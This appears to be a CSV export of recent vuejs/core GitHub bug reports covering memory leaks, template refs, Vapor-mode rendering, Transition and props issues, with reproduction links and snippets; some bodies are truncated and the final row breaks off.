vuejs/core,3874857274,Webcomponent created with Vue not being GC,"### Vue version

3.5.12

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-hnhnh18j?file=src%2Fmain.js,src%2FApp.vue,vite.config.js&terminal=dev

### Steps to reproduce

1. Create a simple vue 3 project with customElements: true and use `createCustomElement` to create a small webcomponent
2. Open developer tools and run the memory profile - find `minimal-test` component
3. Remove it from DOM
4. Run GC manually
5. Run the memory profile again - find `minimal-test`, it's showing as detached

### What is expected?

Expected that he component is GC and not detached

### What is actually happening?

Webcomponent stays detached and in memory

### System Info

```shell

```

### Any additional comments?

<img width=""1857"" height=""807"" alt=""Image"" src=""https://github.com/user-attachments/assets/02bb1b8b-92bb-4a14-88c2-8d116608c40a"" />",,2026-01-30T09:34:20Z,2026-02-02T00:55:31Z,1
vuejs/core,3869598988,Memory leak: Continuous memory growth when frequently updating array,"### Version
3.5.27

### Reproduction link
[github.com](https://github.com/webfanzc/mvp-memory-leak)







### Steps to reproduce
1. Open the application in browser

2. Click the ""Start Auto Generate"" button on the page

3. Wait for 1-2 minutes (or longer to observe memory growth)

Note:Memory usage can be monitored using Chrome DevTools Performance/Memory panel. The memory curve should show a continuous upward trend even though the array length is limited to 100 items.

### What is expected?
When the array length is limited to 100 items (`QUOTE_TRADE_LIMIT = 100`), memory usage should remain stable and not continuously grow. Each time new data is added and old data is removed via `splice`, the references to the old data should be properly released by Vue's reactivity system.

### What is actually happening?
Memory continuously grows even though the array length is limited to 100 items. Even after stopping the auto-generation, memory does not decrease.

---
This is a minimal reproducible example (MVP) specifically created to report this issue. The actual use case involves real-time trading data updates, but the core problem can be reproduced with this simplified example.

<!-- generated by vue-issues. DO NOT REMOVE -->",,2026-01-29T09:06:12Z,2026-01-29T13:26:02Z,7
vuejs/core,3866916124,`useTemplateRef` should not override setup refs with the same name,"### Vue version

3.5.27

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UctqwzAQ/JVFF9tg7EN7Sp1AW3JooQ/SHHUxztpxKktCj9QQ/O9d2UmaQshNuzM7O6M9sEets71HNmOFrUyrHVh0Xi+4bDutjIMDGKxT8BbX2GlROlyFWsk35aXDDQxQG9VBRCoRl1xWSloHtVIwD6NxtEUhVJQ8XEAkQeh/zTgiYKRxeVaP4wTmCzhwCRCmlcBMqGbipkEq25fCYwJ5DthrrIKl40ouh4TLIp+CUSQq3HEhVQBFK7V3weWcM9LiDHICivyCxVLmLK2u2ybbWSXpp0Y3nFWq061A86FdS9Y4m00+A1bS/p/XseeMx/TUr7ZYfV/p72wfepx9GrRo9sjZGXOladBN8PLrHXt6n8FObbwg9g1whfRtPnicaE9ebsj2BW90+zLeu5XN2i57h9KeQgWjgTmMfM7o0M83ov/Zvcvuxzm6Axt+Ad9Zzqc=

### Steps to reproduce

```vue
<script setup>
import { ref, useTemplateRef, onMounted } from 'vue'

const foo = ref('hello');
const fooRef = useTemplateRef('foo');

onMounted(() => {
  console.log('foo', foo.value) // expected 'hello'
})
</script>

<template>
  <input ref=""foo"" />
</template>
```

### What is expected?

`foo` should stay the reactive ref you declared:

```js
const foo = ref('hello') // foo.value === 'hello'
```

A template ref should be separate, accessed via something like `fooRef`:

```js
const fooRef = useTemplateRef('foo') // fooRef.value === <input ...>
```


### What is actually happening?

`foo.value` it's now `<input ...>` element.

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-01-28T19:01:32Z,2026-01-29T01:36:31Z,0
vuejs/core,3855165032,add undefined handler to event with modifier in loop will cause error,"### Vue version

3.5.26

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U01v1DAQ/SuDL9mVSiIEp212BVSVgAMgQOKAOaTZSerWsS3b2a4U5b93bCfpblX1Fs978+bNRwb2yZj80CPbsNLVVhgPDn1vdlyJzmjrYQCLDYzQWN1BRtRsgX4YL7S60rLvFEyEvDiNBunsErjiqtbKeehcC9uguMq+oJQa/mor92+yNVdlkQxQaXp47IysPNILoLx9txuGmDyOZUGvGBXK9B4Obzu9R7nljHDOoEjgmbkQK4sTTXbBvCNLjWjzO6cV9T+ENM5q3Rkh0aZ8x9kGIhKwihw/fIsxb3u8mOP1Ldb3L8Tv3DHEOPtp0aE9IGcL5ivbok/w9e/veKTvBaSOeknsV8Bf6Ki34DHRPvdqT7ZPeNHt17gqodo/7vroUbm5qWA0MMfI54w2dfVK60923+cfYh5XI03x+bbDIZ3v7qb3XitaU6MtLUnHBBAK0heVgY+1FPV97rw2CyPXBm2V+otCAMMwQarqcCQDpF4k+ef7nY9ZVqolSR+qzIedLnGqTtf4LwhNjQblDWQ3lc2mOS42NrBaw3Y3MwGCjpaYS92usoUWOgvp68vEizbTkM9rNFq/UIO2iI1QuJ9m/J9kTv4MNj4CMl48Wg==

### Steps to reproduce

Adding undefined to event handler with modifier in for loop will cause error.  Minimal reproduction demo is given in link above. 
There is an almost same issue before https://github.com/vuejs/core/issues/9865, which has been fixed.
While in for loop, this issue still exists and will cause failure.

### What is expected?

Like issue in https://github.com/vuejs/core/issues/9865, vue should ignore empty event handler with modifier in for loop

### What is actually happening?

sfc fails to render if adding undefined handler to event with modifier in loop

### System Info

```shell
System:
    OS: macOS 26.2
    CPU: (10) arm64 Apple M1 Pro
    Memory: 177.27 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.12.0 - /Users/alexren/.nvm/versions/node/v2... [TRUNCATED]",:hammer: p3-minor-bug,2026-01-26T09:26:46Z,2026-02-09T07:55:24Z,0
vuejs/core,3853192062,Is this a bug? After calling effectScope.stop(). The component render function outside the scope  will not update anymore.,"### Vue version

>=3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNqdVM1u00AQfpXRXuKqrtNSEFJIKyj0AAeKaMWFRch1Jq7bza61P2mkKBKIExISL4CEuMCRMwfeBlB5C2Z369ZJoxzwwfHOfLPzzbffZsoe1HU2dsh6rG8KXdUWDFpX73JZjWqlLUxB4xBmMNRqBB2Cdtopk8JJLgcC97CsZLPYn1S2KeEs62qTWcPZPS65LJQ0Fo49HHYgWYOdXZhyCe19kjUuZw0U5WAZ0PeYw+WDBRx1HefCYWZsXuL6esD2u3FMGpAWFke1yC3SCiDAetMp1YXPGcEB+sfOWiXhfiGq4myHs0Cds93w2+/GdNjgBpSoE5Deq2HEnGD0noN5ri1+LGXW0KTDqsxOjZJ0YmFKzgo1qiuB+qC2FSnBWS/O73O5EOr8SYhZ7TBt4sUJFmdL4qdm4mOcPdNoUI+Rs6uczXWJNqb3D5/ihL6vkiM1cILQK5LP0SjhPMcI23P+HHULF9g+DuaqZHlk9icWpWmG8kQ9chbwnJEXH64Y/ZrudnY71JEBSMVgRlKv7e8UcDjEwh4WqsYUznNbnCx4nkuchILoNm3IbFSZhH7ROrAZmNEp1bSQTgjqSBZdKG0Zfd6wMU17WRd2v/TvZQMKRl9Sagu6Xeq2ld5Kt9MwXAPwvQnQGsdfkvl8pp1MWn39E0ZOXsZou9urFJJAg666EoMX4XO+1j+euxKYCVUmnY0NIt9JIdaF/v7xWsQ3HcVSUcIfx39qsnlDk1gbJgtKEKgtwxLZ4plRGO1RNULl7KJO1RCS6x3XyD7UNfolag6/fnz+/fH7xbuffz+9ufj69s/7bxdfPsDRwaODXluwAR67siT7t2LXG9NUqo4nF5SLvofNRjvy8esxan83yMrb2Z1s6y6b/QOI6+2I

### Steps to reproduce

1. click begin button. The ui show the initial ref value 1000. And in the programme I created an effectScope and a watch funcion inside it watching the change of this ref.
2. clck add button. The ref value was added by 1. The ui show the updated value 1001 correctly.
3. click end button. This will call effectScope.stop(). And reset the ref value to 0. The ui show the value 0 correctly.
4. click begin button again. The ui always show 0 and does not update anymore, though the ref value is changing.... [TRUNCATED]","scope: reactivity,has workaround,:hammer: p3-minor-bug",2026-01-25T12:43:16Z,2026-02-09T07:56:11Z,1
vuejs/core,3850390048,TransitionGroup not firing v-move at array.push,"### Vue version

3.5.27

### Link to minimal reproduction

[Playground](https://play.vuejs.org/#eNqFVMlu2zAQ/ZWBcrCC2LLTtBfVMdAWQZECXdDmVvXASCOZCUUSJOUkMPTvHZHaGhTJReC82d68IXWMPmidHBqM0mhrc8O1A4uu0btMAvBaK+PgCAbLJSj5VTXSYQEtlEbVsKC8RSa7yFxJ60Bw+lx20fHvP6cdLtABLwjbhLiykbnjSgIritg9aVyCw0d3CsfOSx3LuCuSHJhoMBEoK7eHHVyMAVRy8lsteI7xZgnnvhtAG9qExk4xz2dM5cVyOPreo0EUnudPXXRj97GvRU16msXZWXfqw0dl4vgULndDQxLymlBDZf51gB9/gcYos1jC4gaJZ43WsgoXwyQ01Gaz8VZL3+06rIcWQ4bDWgvm0K9pe2OYtLzT9bNRjQbJarzMIs/ZZhE4VpFZ8AOdeTHz+HQqQC7IBbN28FHgYVUqM9jApZeE8PQenwY44QUVOR6D1EmnI7QtnIwI7b5tt2uqH5iun1EldLueDUOmdU8izHUSaA6qaRUSU2C3VonG4fvguFXOqTqFC4N1Dwks3Qzo9zQU3EESpuor18xUXK6c0ikk76YqmtbEZZXC+Rx94IXbEzaDciWUSeFhzydSLL+vaERZpHAryJgTCe3tSiA74IrRkzjgK2M+y6zVlOFGTYn+GwtMCEBmcUUzqcbfbMqmC+SVjZaRs/ReS14ld1ZJevm+ThblqtZcoPmuu1p0PdKhQxZRTfXwxWPONMPToZw95vf/we/sY4dl0Q+Dlp4AZtHocyQ30lXq3Fe/vnWPb3LWqmgERb/g/IleF+IYwj6SyER7FufZXvu/F+3vxl49OiSJ+qE6ol4UH59F9Bv79MLoE92L5G0vZhu1fwF/6rPz)

### Steps to reproduce

We just wait until the number of elements becomes more than 4

### What is expected?

The v-move transition animation should trigger when the second element appears. The first element should smoothly move upward

### What is actually happening?

When the second, third, and fourth elements appear, the v-move transition animation doesn't trigger. Older elements bounce upward. v-move only starts working when the fifth element appears, when the oldest element is removed.

### System Info

```shell

```

### Any addition... [TRUNCATED]","scope: transition,:hammer: p3-minor-bug",2026-01-24T06:28:37Z,2026-02-09T07:55:49Z,0
vuejs/core,3847644998,v-show not working correctly in vdom > vapor,"### Vue version

3.6.0-beta.4

### Link to minimal reproduction

https://play.vuejs.org/#eNqFU21r2zAQ/itCUNpC46QkK8NLy17oh+3DNrZ9FAzFPttqZElIsuMs5L/vJNtJE7Y2BHK6e+7uuXsuO/rBmKRtgKZ06TIrjCcOfGMemBK10daTHbFQkD0prK7JJUIvD6FPujaDP5mGR6iEYaYyrRxWqvSG3If8q4JLB9dMLad9F6yPDw+1kdwDvghZ5qKNBpqxcjsJBe4ZDT+MTnvUtIctp8+S6Q31DnsWokyenFY4zS6AGc2wkJBgvxkvkBOjKYmREONS6s2X6PO2gZvRn1WQrf/hf3Jd8DH63YID2wKjh5jntgTfhx9/foUO7UOw1nkjEf1C8Ac4LZvAsYd9bFSOtJ/hItvPcfFClb/cY+dBuXGoQDQg9xHPKAoRdvi/0Y9058ki5jG1xy2OIoZzOBEHF+8MVyST3DmURGqeB3oPKCj6zwXB53BNkqsS8R7795dFWo4z9JiTY3B+K0Nu0tceyW5E7quULN6a7l3vqUCUlT9xrbTFlInluWhcSt7MLoZALhxy2qZEKCkUTFZSZ+vTJK8NrsF0BBUQOVlJfo6wfb8jxluucGwLyh+Q3cSJP6hMOmahawhy/MPwIEJKrPbRIreOBELcIrNCKOEBwagCU+/XsC0sr8Ed0cMuZhejFT6RRaFtPZSFq1kO5fXQNNYKxu3stbT53VkiflGbqAcexe8WbDg0PIp5cpfMJivwPFnQ/V/d1Wcd

### Steps to reproduce

1. create vdom component
2. create vapor component 
3. add vapor component as a child of v-dom component with v-show=""false""

### What is expected?

Vapor child component must be hidden

### What is actually happening?

Vapor child component rendered

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (12) x64 Intel(R) Core(TM) i5-10500 CPU @ 3.10GHz
    Memory: 9.70 GB / 31.93 GB
  Binaries:
    Node: 24.13.0 - C:\Program Files\nodejs\node.EXE
    Yarn: 1.22.19 - C:\Program Files\nodejs\yarn.CMD
    npm: 11.7.0 - C:\Program Files\nodejs\npm.CMD
  Browsers:
    Chrome: 144.0.7559.97
    Edge: Chromium (140.0.3485.54)
    Firefox: 147.0.1 -... [TRUNCATED]",,2026-01-23T14:15:36Z,2026-02-22T11:55:56Z,1
vuejs/core,3831266183,incorrect template generation for components following form elements,"### Vue version

3.6.0-beta.3, 3.6.0-beta.2

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UcFKxDAQ/ZWQ85oKq4JLKajsQQ8qKp4C0m1na9c0CcmkFkr/3STt1h6WPeXNey+TN5Oe3mnNWgd0Q1NbmFojsYBOkzbXymRpMpIZl1ymCI0WOYKvCEnLuo3Aw70yzYR9tXOISmbjkSZTOVmThbfvCRoHZBhiw2TsmCaLd+iKoi2U3NcVO1glfc4+mDktVKNrAeZFY62k5XRDohK0XAj1+xS58MDqyBffUPyc4A+2CxynrwYsmBY4nTXMTQU4ytv3Z+g8nsVGlU549xnxDawSLmQcbfdOlj72whfTPjZ+31jL6sNuOwRpj0OFoME5RD+n/rMezoz+H3fNruI9Lge/xa8WTOjpF7hmN+zyYgeYs3VQ0H7O2jW79eTwB7zarWI=

### Steps to reproduce

- reproduction playground is set up to produce the error
- optionally adding any element/comment on a new line after the button element ""fixes"" the issue
- replacing the interpolated text with static text doesn't error, but produces a incorrect template

```html
<template>
  <div>
    <form>
      <button>Button</button>
    </form>
    a
  </div>
</template>
```

will turn into

```html
<div><form><button>Button a </button></form></div>
```

### What is expected?

the template renders correctly

### What is actually happening?

a TypeError of TypeError: Cannot read properties of null (reading '$txt'), TypeError: Cannot read properties of null (reading 'firstChild') or an incorrect template

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (20) x64 12th Gen Intel(R) Core(TM) i7-12700F
    Memory: 8.13 GB / 31.83 GB
  Binaries:
    Node: 24.3.0 - C:\Program Files\nodejs\node.EXE
    Yarn: 1.22.22 - C:\Users\idlec\AppData\Roaming\npm\yarn.CMD
    ... [TRUNCATED]",,2026-01-19T21:32:48Z,2026-01-20T02:38:19Z,1
vuejs/core,3830689403,Global variable clashes for Vue dev tools hooks,"### Vue version

3.5.26

### Link to minimal reproduction

Can not provide

### Steps to reproduce

compile vue 3 application into single js file, side load it into an existing site where buffer already exists on the window object. error is thrown.


Problem source
```js
let buffer = []; //OFFENDING VAR
function setDevtoolsHook$1(hook, target) {
    var _a2, _b2;
    devtools$1 = hook;
    if (devtools$1) {
        devtools$1.enabled = true;
        buffer.forEach( ({event: event2, args}) => devtools$1.emit(event2, ...args));
        buffer = [];
    } else if (// handle late devtools injection - only do this if we are in an actual
    // browser environment to avoid the timer handle stalling test runner exit
    // (#4815)
    typeof window !== ""undefined"" && // some envs mock window but not fully
    window.HTMLElement && // also exclude jsdom
    // eslint-disable-next-line no-restricted-syntax
    !((_b2 = (_a2 = window.navigator) == null ? void 0 : _a2.userAgent) == null ? void 0 : _b2.includes(""jsdom""))) {
        const replay = target.__VUE_DEVTOOLS_HOOK_REPLAY__ = target.__VUE_DEVTOOLS_HOOK_REPLAY__ || [];
        replay.push( (newHook) => {
            setDevtoolsHook$1(newHook, target);
        }
        );
        setTimeout( () => {
            if (!devtools$1) {
                target.__VUE_DEVTOOLS_HOOK_REPLAY__ = null;
                buffer = [];
            }
        }
        , 3e3);
    } else {
        buffer = [];
    }
}
```


### What is expected?

vue ... [TRUNCATED]",need more info,2026-01-19T17:50:33Z,2026-02-22T12:24:31Z,6
vuejs/core,3828324775,The render code compiled using Vue compiler-dom+Vue.runtime.global encounters an error in the browser console during runtime,"### Vue version

3.5.26

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-itypu19n?file=index.html

### Steps to reproduce

I have previously reported a similar issue on #14264 , the runtime environment was "" vue. global. js"", and the problem was resolved by adding ""_rc=true"".

But when I replaced ""vue. global. js"" with ""vue. runtime. global. js"" without runtime compilation functionality, the same problem reappeared.

If ""_rc=true"" is added, the component cannot be displayed; If it is not added, multiple errors will be prompted.

(I use Option API)

<img width=""1520"" height=""1315"" alt=""Image"" src=""https://github.com/user-attachments/assets/50804d68-201c-4f14-bb75-3381594638a6"" />

### What is expected?

no warn

### What is actually happening?

?

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-01-19T07:10:00Z,2026-01-19T08:25:14Z,2
vuejs/core,3813596670,Vapor Transition: `<Transition>` expects exactly one child element or component,"### Vue version

3.6.0-beta.3

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUk1v2zAM/SuaLt2A2k6RbYfMNfaBDtgO27DlKGBQbdpRK0uCRLspgvz3UlbqpkXRXmyR7/HpkdSOf3EuHwfgK16G2iuHbJTO+koY1dMf2Y55aNmetd727ISoJ8LU1gRk9G0UKmvYeeS8RT/AO2HKIgmRBAUIvdMSgSLGyssBkfifa63q63PBjyXezIHg1dp2nYaySAWpeO2lCYltZA9U3soGBGe9bWJkB8xULI5s4m/O2Jip9viaGSQ4OGmqNXkmw/H4ClAWm7NHyqADVN8lfWeoLB48UqIsjrqnMOCtBhZq66ChTB7tZ2AQfCZrVCOc3ic1yBEOSbaL0jgLr5h1slZ4yxb5h/BJmP1jqbioJ0Jok8ihcMUWqYwajJYqfsqRbJlWdflVsIZew8SPk+ud0uB/u3h1EHyVlCImtbY3P6dcXD3dmfL1BurrZ/JXYRtzgv/xEMCPtLoZQ+k7wARf/PsFWzrPIO130MR+AfwLweohrTjSvg6mIdtHvMntj+lNK9Otw8UWgSZ6aCoajcz9xBec3vm3F1p/sLvM3091NE+a4v8RfNSkAS7zj/kiuwSU+ZLv7wAWyCNS

### Steps to reproduce

```vue
  <Transition name=""fade"" mode=""out-in"">
    <h1 v-if=""condition"">
      <span>True</span>
      <span>True</span>
    </h1>
    <h1 v-else>False</h1>
  </Transition>
```

The second `span` throws an error in Vapor mode, whereas `script setup` correctly compiles.

### What is expected?

Should work in vapor mode

### What is actually happening?

This works with `script setup` but throws with `script vapor`:

```
[plugin:vite:vue] <Transition> expects exactly one child element or component.

Home.vue:9:5

7  |    <button @click=""condition = !condition"">Toggle</button>
8  |    <Transition name=""fade"" mode=""out-in"">
9  |      <h1 v-if=""condition"">
   |       ^
10 |        <span>True</span>
11 |        <span>True</span>
```

### System Info

```shell
System:
    OS: macOS 15.7.3
... [TRUNCATED]",,2026-01-14T15:03:38Z,2026-01-15T00:23:47Z,2
vuejs/core,3810727296,Vapor text is incorrectly escaped,"### Vue version

3.6.0-beta.3

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kEFLw0AQhf9KmIuXuhUiHkooqBTUg4p6XJCYjDF1s7vszqYpJf/d2Q2tPZTedt/3ZnjzdnBrregDwgIKX7nWUtaX1rhlMZ++S6mlLgg7q0pC/mXZg9nU22x7USrFaH7EYAbkK6O/20asvdG8dRcnJFSms61C92KpNdpLWGSJRMZ7zOYpaeQCzvZ69YPV7wl97YeoSXh16NH1KOHAqHQN0oRX78848PsAO1MHxe4z8A29USFmnGx3Qdcc+8iX0j523BG1uvnwq4FQ+/1RMWh0jskvgau9P3P6f9xcXKc5qUdu8bNHF3dygbm4EVeXX0ilyGH8AwY4jXE=

### Steps to reproduce

Render text in a vapor component with potentially dangerous characters, like `'` or `&`

### What is expected?

Text should be rendered normally

### What is actually happening?

Characters like `'` and `""` are escaped to strings `&#39;` and `&quot;`. Presumably this is true for all dangerous characters, but I haven't checked them all.

### System Info

```shell
System:
    OS: macOS 14.7.6
    CPU: (10) arm64 Apple M1 Pro
    Memory: 731.50 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.10.0 - /Users/scottbedard/.nvm/versions/node/v24.10.0/bin/node
    npm: 11.6.1 - /Users/scottbedard/.nvm/versions/node/v24.10.0/bin/npm
    pnpm: 9.7.0 - /Users/scottbedard/Library/pnpm/pnpm
    Deno: 2.4.2 - /Users/scottbedard/.deno/bin/deno
  Browsers:
    Brave Browser: 141.1.83.118
    Chrome: 143.0.7499.193
    Firefox: 146.0.1
    Firefox Nightly: 129.0a1
    Safari: 17.6
  npmPackages:
    vue: 3.5.26 => 3.5.26
```

### Any additional comments?

I found this error after playing with https://github.com/vuejs/core/pull/14273. T... [TRUNCATED]",,2026-01-13T21:51:32Z,2026-01-14T00:57:51Z,1
vuejs/core,3795354035,The behavior of `defineModel` is inconsistent with the documentation,"### Vue version

3.5.13

### Link to minimal reproduction

https://codesandbox.io/p/devbox/5qrl63

### Steps to reproduce

click `+1` button.

### What is expected?

The number after `update count` increases.
According to the documentation, modifying `v-model` triggers the `@update:model-value` event, which causes `updateCount` to increment.

### What is actually happening?

`updateCount` remains unchanged, and `@update:model-value` is not invoked.


### System Info

```shell

```

### Any additional comments?

When using `shallowRef` as v-model, the `value` property of the object defined by `defineModel` is a regular object without reactivity. In this case, only `emit(‘update:modelValue’)` can correctly update the model.",,2026-01-09T03:48:31Z,2026-01-09T05:53:42Z,1
vuejs/core,3790568160,Reactive Props Destructure: Prop is not defined outside a `for...of` loop that uses the  same variable name,"### Vue version

3.5.26

### Link to minimal reproduction

https://play.vuejs.org/#eNrNUlFv2jAQ/itXv5hKKKjrtgcWkBjKViYK1UDaJIwmFC40XWJHtsOQovz3nR0IbOv6OO0lyt333d3nu69io6II9iWyPgtNrNPCgkFbFkMh07xQ2kIFGhOoIdEqB05U3kJjlRfHfNBzgetEsJCxksZCbnYwcOUdfodZpuCL0tn2il8LGfaaaTSHAot5kW0sUgQQ+rZUOxDsokww6KeyKC2lV3wxv494F/h9tFiMPkZ8TXCPysPeRS/WZdaQlCTdBU9GSXpk5SYIFtOINEM9L2xKUgXrg0cctqGRPz75nNUldk/5+BHj78/kn8zB5QR70GhQ71GwFrMbvUPbwNFihgf6b8FcbcuM2C+An9GorHQaG9r7Um5J9gXPq534e6RytzTRwaI0p0c5oY5Ze75gdB+33b89/Sz3Nnjt64SsaYun2/7uEsg20p3JUhvnGGlRJ5sY4UGrwjR96ZB9MFaTuncu9jc8ZVZrytGQk2Oqo2f4XTSdzq/owp5OmRWfTcb+5NHXMYHRbMnXZMsBbDFJJfqJof8OO9fUVchEaejA2YoqOXa7bpQ5RGUYZGrXaY3UdVRX36pqKbP5Ej6MJlPiNDprx3vJyY83w+pIrcMeRb8Y9LjYm/92sxXU50X+ucfn1nixo3+5x2971M70tMbb4E3w6i2rfwJ+CZkN

### Steps to reproduce

In the minimal reproduction example:

1. Destructure variables from `defineProps`: `const { msg = 'HELLO!', input = ['NICE', 'EXCELLENT'] } = defineProps<Props>();`
2. Declare a `for...of` loop that reuses a destructured prop name: ```for (const msg of input) {
  console.log('MESSAGE', msg);
}```
3. After the loop, the original variable from props is now `undefined`

### What is expected?

The component should execute without errors. 

The `console.log` statement outside the loop should print without errors.

### What is actually happening?

The script fails with an `ReferenceError: msg is not defined` at the `console.log` statement that occurs after the `for...of` loop.

### System Info

```shell
System:
... [TRUNCATED]","scope: sfc,:hammer: p3-minor-bug",2026-01-07T22:28:02Z,2026-01-19T00:43:17Z,0
vuejs/core,3788577841,Type based boolen prop declaration compiles to JS string when use imported TS type,"### Vue version

^3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNrtVdtu2kAQ/ZWVH2oiJbaqNKpKHdpQRWp6SaImah/qKDJ4MJvau9u9UCLCv3dmjQkQoFUfIlWKkBA713Nm5yyT4EipaOQgaAeJ6WuuLDNgnWJlJorDNLAmDTqp4JWS2rIJ0zBgUzbQsmIhpoVz1/E4q1QJ37gddl0xi4jiZTN1Cl+vy5HObkirPU0mffpSGMu4UM6yQ0LUCsOdVCRxTQDh4sECFsgs4ImxZAXdaK+SOZTIz1dJA6Tb82eoA9Gi4afjGvJOskLiQcUZ9n8vWhfAukm8ADvYxekj1wEvohsjBV7RhFqnQV9Wipegz5TlOIs0aDPvIV9WlvLXB2+z2sFuY+8Pof9jjf3GjMmWBucaDOgRopz7bKYLQCLkPr44hTH+njuRrCNOW5xfwMjSEcY6rOtEjrAX4jzaE78NXBSX5nhsQZiGFAGlyKmPTwPcgXdbqN/D3Y9e+LxUTHGKa5fp7xbe3irArT+hC31/+fnTkbWa95wFs6KCVMQxiwUuwHXN3cRv0RNrJyyvYC+XVZxzYxcNUR5hN0r0bbpSlpAJboa41b36wO5YSFMI6ccgK40XgQ+vpwb5JR0O10H8HjbrFl4x7LLQ4I7hVcCAC8hn5S6yCqhU19lTaZviW5EQ6xoK9e5mBs61VAZz/JWQ6017PTDyhVcUhdveh6Esc9CbghdC6hzk0jCjnMVBEE1XtNlMIoZZyVBS9pYZLCiKXWaQKOODpQrbZ0ctF6I3TAo7n31cbkzziv2scBHn01oakn8i2jNwZOiXmTGbMHknAZqyZytTv38Y1ax+fb/emfjvTusPr2TOR6zte6AQfJnIn7wiSGOJ6sxUxHquSGLV2I3KRAdnRCPyABg3qMxJDSZqpheNstLB2aC1E1l54Tm3dth0yhAVVfAoUCej1bfQv4YP/0ueRPz/ivixFbz8aDyJ+JEVjPq9HoGm/3ZU7X50ED1/STZrvs6tB9GraD+Y/gbbg7jR

### Steps to reproduce

1. Open link with example
2. Check on the UI result of ""required"" compilation (ExampleWithoutBug.vue) 
3. Check on the UI result of ""required"" compilation (ExampleWithBug.vue) 

### What is expected?

`required` prop in both of examples compiles to JS boolean type

### What is actually happening?

`required` prop in ExampleWithBug.vue compiles to JS empty string

### System Info

```shell
System:
  ... [TRUNCATED]","scope: sfc,:hammer: p3-minor-bug",2026-01-07T12:33:10Z,2026-01-19T00:42:26Z,0
vuejs/core,3787249669,Creating vnode in computed causes errors.,"### Vue version

3.5.26

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U01v00AQ/SsjX+KoqY0ocDBORIkaCQ6lAsQFI2TsSbKtvbvaDxPJyn9nduw4OdAeEu3OzHvz5u24j261TjqPURbltjJCO7DovIamlLtlETl7KKJVIUWrlXHQg8HtAirVau+wXsCeLgZLhz/uVY1whK1RLcyIcTaB1lQ9xpM0XEJDSheyUtI62KxhCbGew3IFcV6LbrVZZ9fXvU4q5aU75mmIzd+fERwnEImJXw2JU6qTQcdykhjHzNsXEgZY0pWNR8YAtaPm6cgNxOe8kbCPN+sF9FyeXaKO80KGX54OXpExdHHY6oYsoBsA6w8HOv7xzikJH6pGVE9kJjNdXZGhXtcEyNOhgmkYwVZlNIlD6QjB0xQRSWRuNiK0v2gZLeiRCLEVu+TRKkkvycOGdq0WDZov2gnypoiywYaQK5tG/f3MMWc8Lk7xao/V03/ij2EPMjo8GLRoOhI15VxpduiG9N23ezzQeUq2qvYNVb+Q/IpWNT5oHMo+elmT7Is6VvuJt0nI3Xd7dyB/7GmoIDRUHrmeTPMYfHxu9LPcm+QN4+hRycXTZj7/KYQvwRSyxq2QOFLHfQgBCLlHI9ytc8ZmsC0bS+ZRhtaF/s+wB6O0jX/Oxjee/eL8eaHG4oulYnpeK96OPDyrkoSFTFjeKmYqonQ1LggTTgQ02u8OTbCLRrtJ3iav30XHf8NMVjc=

### Steps to reproduce

The error appears when clicking the ""update"" button.

### What is expected?

I generated a vnode in computed and then completed the vnode rendering in <component />. I know that passing a function would be a better choice, but <component /> itself supports vnode. I just don't understand why the vnode causes an error when it appears in computed.

### What is actually happening?

Using the h function does not cause errors, but if using JSX which compiles to createVNode, the error appears. This is a working example: [link1](https://play.vuejs.org/#eNp9U01v00AQ/SsjX+KoqY0ocDBORIkaCQ6lAsQFI2TsSbKtvbvaDxPJyn9nduw4OdAeEu3OzHsz8/a5j261TjqPURbltjJCO7DovIamlLtlETl7KKJVIUWrlXHQg8HtAirVau+w... [TRUNCATED]",,2026-01-07T03:50:05Z,2026-01-07T08:40:35Z,4
vuejs/core,3780306352,"Transition with v-on=""obj"" fails with Vapor","### Vue version

3.6.0-beta.2

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UcFqAjEQ/ZWQiwqaLbX0IKvQiof20JbWY6Ck63SNzSYhmd0K4r93NsuqhyLsYee9N5M38w78wXvR1MBnPI9F0B5ZBKw9a5R3YSFt4WxEZnREsBAim7ODtIyBRQjDUVcw1qqcAWFcORwkbjBqmaO09OVZN5rGUYFQeaMQqGIsXwdlo0btLFPegwqsmTg7l/z0pORJSVq/WG612eSZ73qzczMBeXYxmY85RnL1rUuxi87Sfsmq5IWrvDYQXn3bR9Nn/RKSK2Pc73PCMNQw7vFiC8XPP/gu7ltM8rcAEUIDkp84VKEE7OjVxwvs6f9EVm5TG1JfId+BLlq3HjvZY203ZPtCl9w+VZQTaluu42pPB4v9Uq3RFEHSS04hL6+sfrY7FXd9dHTFz4YiIDUdcCruxc3kC1CJW378A1cIvLQ=

### Steps to reproduce

Opening the Playground should lead to `enter` being logged in the console. This currently doesn't happen.

- It works correctly if the `vapor` attribute is removed.
- It also works if `@enter=""listeners.enter""` is used instead of `v-on=""listeners""`.

TransitionGroup seems to have the same problem.",":hammer: p3-minor-bug,scope: vapor",2026-01-05T06:15:41Z,2026-01-06T03:21:25Z,1
vuejs/core,3779267640,"redundant ref=""[object Object]"" attribute rendered in custom element on SSR","### Vue version

v3.5.26@aac7e18

### Link to minimal reproduction

